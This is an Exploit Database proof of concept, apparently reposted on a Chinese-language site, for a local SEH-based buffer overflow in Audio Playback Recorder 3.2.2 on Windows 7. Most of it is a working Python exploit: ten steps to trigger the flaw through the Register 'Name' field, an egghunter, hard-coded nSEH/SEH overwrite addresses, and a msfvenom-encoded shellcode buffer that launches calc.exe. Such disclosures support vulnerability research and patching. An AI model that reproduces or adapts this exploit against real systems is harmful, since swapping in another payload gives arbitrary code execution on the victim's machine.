Audio Playback Recorder 3.2.2 – Local Buffer Overflow (SEH)

Exploit Database
120 阅读

作者： Felipe Winsnes

日期： 2020-09-09
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/48796/

# Exploit Title: Audio Playback Recorder 3.2.2 - Local Buffer Overflow (SEH)

# Date: 2020-09-08

# Author: Felipe Winsnes

# Software Link: https://archive.org/download/tucows_288670_Audio_Playback_Recorder/AudioRec.exe

# Version: 3.2.2

# Tested on: Windows 7 (x86)

# Blog: https://whitecr0wz.github.io/

# Proof of the vulnerability: https://whitecr0wz.github.io/assets/img/Findings11/11-proof.gif

# Proof of Concept:

# 1.- Run the python script, it will create the file "poc.txt" & "buf.txt".

# 2.- Copy the content of the new file "buf.txt" to clipboard.

# 3.- Open the application.

# 4.- Click on the bottom-right blue button to eject.

# 5.- Delete everything on the parameter and paste the clipboard (buf.txt).

# 6.- Click eject once again to close it.

# 7.- Copy poc.txt to the clipboard.

# 8.- Click on "Register".

# 9.- Paste clipboard (poc.txt) on the parameter "Name".

# 10.- Profit.

import struct

# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed EXITFUNC=thread

# Payload size: 447 bytes

buf = b"w00tw00t"

buf += b"\x89\xe2\xda\xd4\xd9\x72\xf4\x59\x49\x49\x49\x49\x49"

buf += b"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"

buf += b"\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"

buf += b"\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"

buf += b"\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b\x58\x6d\x52"

buf += b"\x63\x30\x47\x70\x63\x30\x61\x70\x6b\x39\x4a\x45\x65"

buf += b"\x61\x4f\x30\x33\x54\x6e\x6b\x30\x50\x66\x50\x6c\x4b"

buf += b"\x62\x72\x54\x4c\x4c\x4b\x33\x62\x32\x34\x4c\x4b\x42"

buf += b"\x52\x64\x68\x64\x4f\x4d\x67\x42\x6a\x37\x56\x36\x51"

buf += b"\x39\x6f\x4e\x4c\x67\x4c\x50\x61\x31\x6c\x45\x52\x36"

buf += b"\x4c\x45\x70\x7a\x61\x78\x4f\x46\x6d\x37\x71\x4a\x67"

buf += b"\x79\x72\x78\x72\x36\x32\x43\x67\x6e\x6b\x56\x32\x34"

buf += b"\x50\x6e\x6b\x51\x5a\x77\x4c\x6e\x6b\x52\x6c\x74\x51"

buf += b"\x34\x38\x49\x73\x53\x78\x67\x71\x48\x51\x30\x51\x6e"

buf += b"\x6b\x62\x79\x37\x50\x56\x61\x6a\x73\x6c\x4b\x63\x79"

buf += b"\x45\x48\x79\x73\x47\x4a\x42\x69\x6c\x4b\x44\x74\x6c"

buf += b"\x4b\x56\x61\x68\x56\x76\x51\x59\x6f\x4c\x6c\x79\x51"

buf += b"\x58\x4f\x54\x4d\x77\x71\x39\x57\x76\x58\x4b\x50\x53"

buf += b"\x45\x38\x76\x47\x73\x71\x6d\x5a\x58\x37\x4b\x31\x6d"

buf += b"\x46\x44\x71\x65\x4a\x44\x33\x68\x4e\x6b\x36\x38\x57"

buf += b"\x54\x36\x61\x6a\x73\x43\x56\x6c\x4b\x54\x4c\x50\x4b"

buf += b"\x6c\x4b\x36\x38\x57\x6c\x75\x51\x6b\x63\x4c\x4b\x45"

buf += b"\x54\x4c\x4b\x65\x51\x6a\x70\x6f\x79\x73\x74\x57\x54"

buf += b"\x76\x44\x33\x6b\x63\x6b\x43\x51\x72\x79\x72\x7a\x63"

buf += b"\x61\x6b\x4f\x49\x70\x61\x4f\x63\x6f\x61\x4a\x4c\x4b"

buf += b"\x62\x32\x4a\x4b\x4e\x6d\x73\x6d\x61\x7a\x57\x71\x6c"

buf += b"\x4d\x4f\x75\x4c\x72\x47\x70\x65\x50\x35\x50\x56\x30"

buf += b"\x63\x58\x50\x31\x6e\x6b\x32\x4f\x4c\x47\x49\x6f\x79"

buf += b"\x45\x6d\x6b\x6d\x30\x47\x6d\x76\x4a\x65\x5a\x33\x58"

buf += b"\x49\x36\x7a\x35\x6d\x6d\x4d\x4d\x49\x6f\x4e\x35\x37"

buf += b"\x4c\x37\x76\x51\x6c\x35\x5a\x6f\x70\x6b\x4b\x4b\x50"

buf += b"\x63\x45\x54\x45\x6f\x4b\x53\x77\x54\x53\x71\x62\x70"

buf += b"\x6f\x50\x6a\x35\x50\x46\x33\x79\x6f\x68\x55\x31\x73"

buf += b"\x53\x51\x70\x6c\x43\x53\x56\x4e\x62\x45\x73\x48\x71"

buf += b"\x75\x67\x70\x41\x41"

egg = ""

egg += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"

egg += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

nseh = struct.pack("<I", 0x06710870)

seh = struct.pack("<I", 0x10023B71)

buffer = "A" * 456 + nseh + seh + "A" * 5 + egg + "\xff" * 200

f = open ("poc.txt", "w")

f.write(buffer)

f.close()

f = open ("buf.txt", "w")

f.write(buf)

f.close()